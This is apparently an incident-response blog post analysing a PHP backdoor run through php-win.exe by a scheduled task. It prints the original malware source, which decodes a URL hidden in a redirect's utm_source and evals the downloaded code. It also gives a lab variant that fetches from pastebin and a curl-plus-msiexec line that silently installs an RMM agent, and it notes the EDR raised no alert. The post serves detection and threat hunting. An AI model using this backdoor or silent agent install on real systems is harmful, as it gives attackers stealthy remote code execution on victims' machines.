Dissection of a PHP Backdoor leveraging php-win.exe

Table of Contents

Introduction

During a recent Incident Response engagement, my colleague Asger Deleuran Strunk identified an unusual Scheduled Task while reviewing AutoRuns data from all servers and workstations across the network. The task, named ClockLauncher, referenced a batch file located at:

C:\Windows\Temp\{0b1281f3-c9bc-4b85-ad92-0803ed04208f}\php_2\run-clock.bat

Here is the content of the file run-clock.bat:

@echo off
cd /d "C:\Windows\Temp\{0B1281F3-C9BC-4B85-AD92-0803ED04208F}\php_2\"
"C:\Windows\Temp\{0B1281F3-C9BC-4B85-AD92-0803ED04208F}\php_2\php-win.exe" "C:\Windows\Temp\{0B1281F3-C9BC-4B85-AD92-0803ED04208F}\php_2\5.php"
exit

The executable php-win.exe is running 5.php from a non-standard directory, C:\Windows\Temp\{0B1281F3-C9BC-4B85-AD92-0803ED04208F}\php_2\. The whole chain, starting from the filename to the directory, looks highly suspicious. Let’s investigate. 🕵️‍♂️

Analysis of the PHP Backdoor

Here is the content of the file 5.php:

<?php
$mem = "";
while (true) {
sleep(rand(10, 30));
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, 'https://cutt.ly/praXEwzs');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_NOBODY, true);


$response = curl_exec($ch);
//echo $response;
if (curl_errno($ch)) {
    echo 'Ошибка cURL: ' . curl_error($ch);
} else {
if (preg_match('/utm_source=([^\s&]+)/', $response, $matches)) {
    $utm_source = trim(preg_replace('/[^\x20-\x7E]/u', '', $matches[1]));
}
 if ($mem != $matches[1])
{
    if (isset($matches[1])) {
        $mem =$matches[1];
        $encodedUrlData = $matches[1];
        $decodedUrlData = urldecode($encodedUrlData);
        $decodedBase64Data = base64_decode($decodedUrlData);
        //echo $decodedBase64Data . PHP_EOL;
        if ($decodedBase64Data !== false) {
            $decodedBase64Data = base64_decode($decodedBase64Data);
            curl_setopt($ch, CURLOPT_URL, $decodedBase64Data);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_HEADER, false);
            curl_setopt($ch, CURLOPT_NOBODY, false);
            $response = curl_exec($ch);
            //echo $response;
            eval('?>' . $response);
            //echo $decodedBase64Data . PHP_EOL;
        }
    }
}
}
curl_close($ch);
}
?>

In the first section of the script, curl is initialized. cURL is a free and open source CLI app for uploading and downloading individual files. It can download a URL from a web server over HTTP, and supports a variety of other network protocols. Several options are set:

  • Requests only the headers (CURLOPT_NOBODY).
  • Follows redirects automatically (CURLOPT_FOLLOWLOCATION).
  • Specifies the URL to fetch (CURLOPT_URL)

The script then executes the web request using $response = curl_exec($ch), which retrieves the HTTP headers (such as Location:) for the short URL https://cutt.ly/praXEwzs specified in CURLOPT_URL. At this stage, $response contains all the HTTP headers returned by the server, potentially multiple sets if redirects were followed.

From these headers, the script searches for any line containing utm_source= and extracts the value following the equals sign. In this case, the value is obtained from a Location header associated with one of the redirects.

I created a new cutt.ly link, pointing to an older blog post of mine. I also set a UTM code (a campaign source) (depicted in Figure 1).

cutt.ly UTM generator

Figure 1: cutt.ly UTM generator

Now, when I fetched that domain with curl, and only fetched the headers.. pay attention to the Location: header:

$ curl -I -L https://cutt.ly/Yr7EQmQa
HTTP/2 301 
date: Tue, 28 Oct 2025 21:23:36 GMT
content-type: text/html; charset=UTF-8
location: https://dfir.ch/posts/sysrv/?utm_source=dfir.ch
expires: Thu, 19 Nov 1981 08:52:00 GMT
cache-control: no-cache, no-store, must-revalidate

There is the utm_source tag, the same as the malicious PHP script will parse out. Effectively, we can now set an inconvicence URL as the shortened URL, like Google, and set our payload as the utm_source. The PHP script then retrieves the HTTP headers, parses them, extracts the utm_source value, URL-decodes it, performs a double Base64 decode, and finally downloads another payload from the URL reconstructed from that parameter.

The payload finally gets passed to the eval function (effectively compiles and runs whatever code you pass to it at runtime). A clever and stealthy approach.

Persistence

In order to maintain persistence, the attacker created a scheduled task named ClockLauncher (C:\Windows\System32\Tasks\ClockLauncher). Following the shortened version of the Scheduled Task:

<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2025-10-01T05:44:26</Date>
    <Author>COMPANY\ADM</Author>
    <URI>\ClockLauncher</URI>
  </RegistrationInfo>
  <Triggers>
    <BootTrigger>
      <StartBoundary>2025-04-01T05:44:00</StartBoundary>
      <Enabled>true</Enabled>
    </BootTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <RunLevel>HighestAvailable</RunLevel>
      <UserId>S-1-5-18</UserId>
    </Principal>
  </Principals>
  <Actions Context="Author">
    <Exec>
      <Command>"C:\Windows\Temp\{0B1281F3-C9BC-4B85-AD92-0803ED04208F}\php_2\run-clock.bat"</Command>
    </Exec>
  </Actions>
</Task>

This scheduled task would run the run-clock.bat file, which in turn would execute the PHP file. In addition to the scheduled task, the attacker created another persistence mechanism, a service named ClockSystemService, configured to run under the LocalSystem account. The service was, however, stopped at the time of the investigation.

Lab Time & Detection

The attentive reader might have spotted that the script uses php-win.exe instead of php.exe. php.exe invokes the Conhost terminal window when started. But that isn’t something php.exe does, it actually happens automatically because Windows recognizes that the php.exe file is marked as “console application”. It will always get launched in a console, whether it’s one inherited from cmd.exe (when running a .bat script) or whether it’s a new one (when double-clicking php.exe).

So php-win.exe is almost exactly the same thing, but the .exe file is not marked as “console”, it’s marked as “GUI application” instead, and will run completely invisible (unless you use it to run a script that e.g. calls PHP-GTK or PHP/Tk to create GUI windows). Well, not completely invisible, as we will see shortly.

I created a stripped down version of the backdoor for testing purposes. Within the PHP.ini file, you have to uncomment the following line to enable curl:

extension=curl

And here is the stripped down version of the backdoor. I deliberately avoided obfuscation techniques such as base64, as we do not want to test network-based monitoring, but rather host-based monitoring. That is why the code is fetched directly, without the additional detours from the original backdoor.

<?php

$ch = curl_init();
$pastebin_url = "https://pastebin.com/raw/HZTqJLAs";
curl_setopt($ch, CURLOPT_URL, $pastebin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);

eval($response);

curl_close($ch);

?>

First, I used the simplest of all payloads, calc. For simplicity’s sake, I also call the script directly—in our incident response case, the script was called via the batch script (see above). And we can execute code:

PHP Backdoor

Figure 2: Stripped down PHP Backdoor

So, this is all fun and games. Can we move on from here? After adjusting the code in Pastebin, an Atera agent was downloaded, but it could not be installed silently (Figure 3). Atera appears to have disabled silent installation a long time ago, which, of course, is a good thing in a case like this.

TODO

Figure 3: Atera RMM Installation

While searching for an alternative, we came across bluetrait.io, where you could also register with a throwaway email address. Using a curl command, we load the agent onto the compromised server and start the silent installation:

system('curl -o setup.msi "https://dfir.bluetrait.io/simple/msp_download_agent?os=windows&access_key=c236ddf4-a046-4b5f-ab80-868565498ca2" && msiexec /i setup.msi /qn');

From the attacker’s point of view, the advantage is, of course, that we can modify the code within the paste as we wish. In the original backdoor code, periodic checks were performed to see if anything had changed. This allows an attacker to execute new code on the machine or install another backdoor, as in this example:

TODO

Figure 4: The final setup

A few seconds after executing the PHP code on the compromised system, we received a check-in from our Bluetrait agent. This access (with an upgraded license) could now also be used to execute code on the machine.

TODO

Figure 5: Bluetrait.IO checkin

At least one tested EDR on the machine did not raise a single alert - from the execution of the PHP code to the installation of the Bluetrait agent. Looking at the various event logs on the machine, we find, of course, the installation of the service:

  • The Windows Security Event log shows the installation of the Bluetrait Agent with the ID 7045

And interestingly, when enumerating installed applications, the installation source of the Bluetrait Agent is shown as C:\php8.4, which might be a tip-off that something is wrong here..

Conclusion

Attackers could use the PHP backdoor presented in this blog to remain undetected (probably for a long time?). In our tests with an installed EDR, only the (attempted) installation of Atera triggered a medium alarm. The execution of further commands via php-win.exe, including the installation of an RMM solution, did not trigger a single alarm.

This example clearly shows that analyzing AutoRuns files can help you spot suspicious scheduled tasks. This is another good reason to regularly perform (threat) huntings in your network.